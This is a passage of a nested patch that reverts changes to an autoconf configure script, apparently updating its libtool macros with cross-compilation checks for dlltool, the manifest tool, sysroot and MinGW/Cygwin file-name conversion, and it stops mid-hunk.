--macro_revision='1.3134'
-+macro_version='2.4'
-+macro_revision='1.3293'
-
-
-
-@@ -5734,7 +5740,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
- $as_echo_n "checking how to print strings... " >&6; }
- # Test print first, because it will be a builtin if present.
--if test "X`print -r -- -n 2>/dev/null`" = X-n && \
-+if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
- test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
- ECHO='print -r --'
- elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -6420,8 +6426,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
- # Try some XSI features
- xsi_shell=no
- ( _lt_dummy="a/b/c"
-- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
-- = c,a/b,, \
-+ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
-+ = c,a/b,b/c, \
- && eval 'test $(( 1 + 1 )) -eq 2 \
- && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
- && xsi_shell=yes
-@@ -6470,6 +6476,80 @@ esac
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
-+$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
-+if ${lt_cv_to_host_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
-+ ;;
-+ esac
-+ ;;
-+ *-*-cygwin* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
-+ ;;
-+ esac
-+ ;;
-+ * ) # unhandled hosts (and "normal" native builds)
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+esac
-+
-+fi
-+
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
-+$as_echo "$lt_cv_to_host_file_cmd" >&6; }
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
-+$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
-+if ${lt_cv_to_tool_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ #assume ordinary cross tools, or native build.
-+lt_cv_to_tool_file_cmd=func_convert_file_noop
-+case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ esac
-+ ;;
-+esac
-+
-+fi
-+
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
-+$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
-+
-+
-+
-+
-+
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
- $as_echo_n "checking for $LD option to reload object files... " >&6; }
- if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -6486,6 +6566,11 @@ case $reload_flag in
- esac
- reload_cmds='$LD$reload_flag -o $output$reload_objs'
- case $host_os in
-+ cygwin* | mingw* | pw32* | cegcc*)
-+ if test "$GCC" != yes; then
-+ reload_cmds=false
-+ fi
-+ ;;
- darwin*)
- if test "$GCC" = yes; then
- reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -6654,7 +6739,8 @@ mingw* | pw32*)
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- else
-- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
-+ # Keep this pattern in sync with the one in func_win32_libid.
-+ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- fi
- ;;
-@@ -6808,6 +6894,21 @@ esac
- fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
- $as_echo "$lt_cv_deplibs_check_method" >&6; }
-+
-+file_magic_glob=
-+want_nocaseglob=no
-+if test "$build" = "$host"; then
-+ case $host_os in
-+ mingw* | pw32*)
-+ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
-+ want_nocaseglob=yes
-+ else
-+ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
-+ fi
-+ ;;
-+ esac
-+fi
-+
- file_magic_cmd=$lt_cv_file_magic_cmd
- deplibs_check_method=$lt_cv_deplibs_check_method
- test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -6821,11 +6922,164 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
-
-
-
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-
-
- if test -n "$ac_tool_prefix"; then
-- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
--set dummy ${ac_tool_prefix}ar; ac_word=$2
-+ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$DLLTOOL"; then
-+ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+DLLTOOL=$ac_cv_prog_DLLTOOL
-+if test -n "$DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
-+$as_echo "$DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_DLLTOOL"; then
-+ ac_ct_DLLTOOL=$DLLTOOL
-+ # Extract the first word of "dlltool", so it can be a program name with args.
-+set dummy dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_DLLTOOL"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
-+if test -n "$ac_ct_DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
-+$as_echo "$ac_ct_DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_DLLTOOL" = x; then
-+ DLLTOOL="false"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ DLLTOOL=$ac_ct_DLLTOOL
-+ fi
-+else
-+ DLLTOOL="$ac_cv_prog_DLLTOOL"
-+fi
-+
-+test -z "$DLLTOOL" && DLLTOOL=dlltool
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
-+$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
-+if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_sharedlib_from_linklib_cmd='unknown'
-+
-+case $host_os in
-+cygwin* | mingw* | pw32* | cegcc*)
-+ # two different shell functions defined in ltmain.sh
-+ # decide which to use based on capabilities of $DLLTOOL
-+ case `$DLLTOOL --help 2>&1` in
-+ *--identify-strict*)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
-+ ;;
-+ *)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
-+ ;;
-+ esac
-+ ;;
-+*)
-+ # fallback: assume linklib IS sharedlib
-+ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
-+ ;;
-+esac
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
-+$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
-+sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
-+test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
-+
-+
-+
-+
-+
-+
-+
-+if test -n "$ac_tool_prefix"; then
-+ for ac_prog in ar
-+ do
-+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
-+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_AR+:} false; then :
-@@ -6841,7 +7095,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_AR="${ac_tool_prefix}ar"
-+ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6861,11 +7115,15 @@ $as_echo "no" >&6; }
- fi
-
-
-+ test -n "$AR" && break
-+ done
- fi
--if test -z "$ac_cv_prog_AR"; then
-+if test -z "$AR"; then
- ac_ct_AR=$AR
-- # Extract the first word of "ar", so it can be a program name with args.
--set dummy ar; ac_word=$2
-+ for ac_prog in ar
-+do
-+ # Extract the first word of "$ac_prog", so it can be a program name with args.
-+set dummy $ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -6881,7 +7139,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_ac_ct_AR="ar"
-+ ac_cv_prog_ac_ct_AR="$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6900,6 +7158,10 @@ else
- $as_echo "no" >&6; }
- fi
-
-+
-+ test -n "$ac_ct_AR" && break
-+done
-+
- if test "x$ac_ct_AR" = x; then
- AR="false"
- else
-@@ -6911,16 +7173,72 @@ ac_tool_warned=yes ;;
- esac
- AR=$ac_ct_AR
- fi
--else
-- AR="$ac_cv_prog_AR"
- fi
-
--test -z "$AR" && AR=ar
--test -z "$AR_FLAGS" && AR_FLAGS=cru
-+: ${AR=ar}
-+: ${AR_FLAGS=cru}
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
-+$as_echo_n "checking for archiver @FILE support... " >&6; }
-+if ${lt_cv_ar_at_file+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_ar_at_file=no
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+/* end confdefs.h. */
-+
-+int
-+main ()
-+{
-
-+ ;
-+ return 0;
-+}
-+_ACEOF
-+if ac_fn_c_try_compile "$LINENO"; then :
-+ echo conftest.$ac_objext > conftest.lst
-+ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -eq 0; then
-+ # Ensure the archiver fails upon bogus file names.
-+ rm -f conftest.$ac_objext libconftest.a
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -ne 0; then
-+ lt_cv_ar_at_file=@
-+ fi
-+ fi
-+ rm -f conftest.* libconftest.a
-
-+fi
-+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
-+$as_echo "$lt_cv_ar_at_file" >&6; }
-
-+if test "x$lt_cv_ar_at_file" = xno; then
-+ archiver_list_spec=
-+else
-+ archiver_list_spec=$lt_cv_ar_at_file
-+fi
-
-
-
-@@ -7262,8 +7580,8 @@ esac
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
-
- # Transform an extracted symbol line into symbol name and symbol address
--lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
--lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-
- # Handle CRLF in mingw tool chain
- opt_cr=
-@@ -7299,6 +7617,7 @@ for ac_symprfx in "" "_"; do
- else
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
- fi
-+ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-@@ -7340,6 +7659,18 @@ _LT_EOF
- if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
- if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<_LT_EOF > conftest.$ac_ext
-+/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
-+#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
-+/* DATA imports from DLLs on WIN32 con't be const, because runtime
-+ relocations are performed -- see ld's documentation on pseudo-relocs. */
-+# define LT_DLSYM_CONST
-+#elif defined(__osf__)
-+/* This system does not cope well with relocations in const data. */
-+# define LT_DLSYM_CONST
-+#else
-+# define LT_DLSYM_CONST const
-+#endif
-+
- #ifdef __cplusplus
- extern "C" {
- #endif
-@@ -7351,7 +7682,7 @@ _LT_EOF
- cat <<_LT_EOF >> conftest.$ac_ext
-
- /* The mapping between symbol names and symbols. */
--const struct {
-+LT_DLSYM_CONST struct {
- const char *name;
- void *address;
- }
-@@ -7377,8 +7708,8 @@ static const void *lt_preloaded_setup() {
- _LT_EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
-- lt_save_LIBS="$LIBS"
-- lt_save_CFLAGS="$CFLAGS"
-+ lt_globsym_save_LIBS=$LIBS
-+ lt_globsym_save_CFLAGS=$CFLAGS
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -7388,8 +7719,8 @@ _LT_EOF
- test $ac_status = 0; } && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
-- LIBS="$lt_save_LIBS"
-- CFLAGS="$lt_save_CFLAGS"
-+ LIBS=$lt_globsym_save_LIBS
-+ CFLAGS=$lt_globsym_save_CFLAGS
- else
- echo "cannot find nm_test_func in $nlist" >&5
- fi
-@@ -7426,6 +7757,16 @@ else
- $as_echo "ok" >&6; }
- fi
-
-+# Response file support.
-+if test "$lt_cv_nm_interface" = "MS dumpbin"; then
-+ nm_file_list_spec='@'
-+elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
-+ nm_file_list_spec='@'
-+fi
-+
-+
-+
-+
-
-
-
-@@ -7442,6 +7783,45 @@ fi
-
-
-
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
-+$as_echo_n "checking for sysroot... " >&6; }
-+
-+# Check whether --with-libtool-sysroot was given.
-+if test "${with_libtool_sysroot+set}" = set; then :
-+ withval=$with_libtool_sysroot;
-+else
-+ with_libtool_sysroot=no
-+fi
-+
-+
-+lt_sysroot=
-+case ${with_libtool_sysroot} in #(
-+ yes)
-+ if test "$GCC" = yes; then
-+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
-+ fi
-+ ;; #(
-+ /*)
-+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
-+ ;; #(
-+ no|'')
-+ ;; #(
-+ *)
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
-+$as_echo "${with_libtool_sysroot}" >&6; }
-+ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
-+ ;;
-+esac
-+
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
-+$as_echo "${lt_sysroot:-no}" >&6; }
-
-
-
-@@ -7653,6 +8033,123 @@ esac
-
- need_locks="$enable_libtool_lock"
-
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$MANIFEST_TOOL"; then
-+ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
-+if test -n "$MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
-+$as_echo "$MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
-+ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
-+ # Extract the first word of "mt", so it can be a program name with args.
-+set dummy mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
-+if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
-+$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_MANIFEST_TOOL" = x; then
-+ MANIFEST_TOOL=":"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
-+ fi
-+else
-+ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
-+fi
-+
-+test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
-+$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
-+if ${lt_cv_path_mainfest_tool+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_path_mainfest_tool=no
-+ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
-+ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
-+ cat conftest.err >&5
-+ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
-+ lt_cv_path_mainfest_tool=yes
-+ fi
-+ rm -f conftest*
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
-+$as_echo "$lt_cv_path_mainfest_tool" >&6; }
-+if test "x$lt_cv_path_mainfest_tool" != xyes; then
-+ MANIFEST_TOOL=:
-+fi
-+
-+
-+
-+
-+
-
- case $host_os in
- rhapsody* | darwin*)
-@@ -8216,6 +8713,8 @@ _LT_EOF
- $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
- echo "$AR cru libconftest.a conftest.o" >&5
- $AR cru libconftest.a conftest.o 2>&5
-+ echo "$RANLIB libconftest.a" >&5
-+ $RANLIB libconftest.a 2>&5
- cat > conftest.c << _LT_EOF
- int main() { return 0;}
- _LT_EOF
-@@ -8380,7 +8879,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -8469,7 +8969,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -8767,8 +9267,6 @@ fi
- lt_prog_compiler_pic=
- lt_prog_compiler_static=
-
--{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
--$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl='-Wl,'
-@@ -8934,6 +9432,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='--shared'
- lt_prog_compiler_static='--static'
- ;;
-+ nagfor*)
-+ # NAG Fortran compiler
-+ lt_prog_compiler_wl='-Wl,-Wl,,'
-+ lt_prog_compiler_pic='-PIC'
-+ lt_prog_compiler_static='-Bstatic'
-+ ;;
- pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
-@@ -8996,7 +9500,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- case $cc_basename in
-- f77* | f90* | f95*)
-+ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
- lt_prog_compiler_wl='-Qoption ld ';;
- *)
- lt_prog_compiler_wl='-Wl,';;
-@@ -9053,13 +9557,17 @@ case $host_os in
- lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
- ;;
- esac
--{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
--$as_echo "$lt_prog_compiler_pic" >&6; }
--
--
--
--
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-+$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-+if ${lt_cv_prog_compiler_pic+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
-+$as_echo "$lt_cv_prog_compiler_pic" >&6; }
-+lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
-
- #
- # Check to make sure the PIC flag actually works.
-@@ -9120,6 +9628,11 @@ fi
-
-
-
-+
-+
-+
-+
-+
- #
- # Check to make sure the static flag actually works.
- #
-@@ -9470,7 +9983,8 @@ _LT_EOF
- allow_undefined_flag=unsupported
- always_export_symbols=no
- enable_shared_with_static_runtimes=yes
-- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
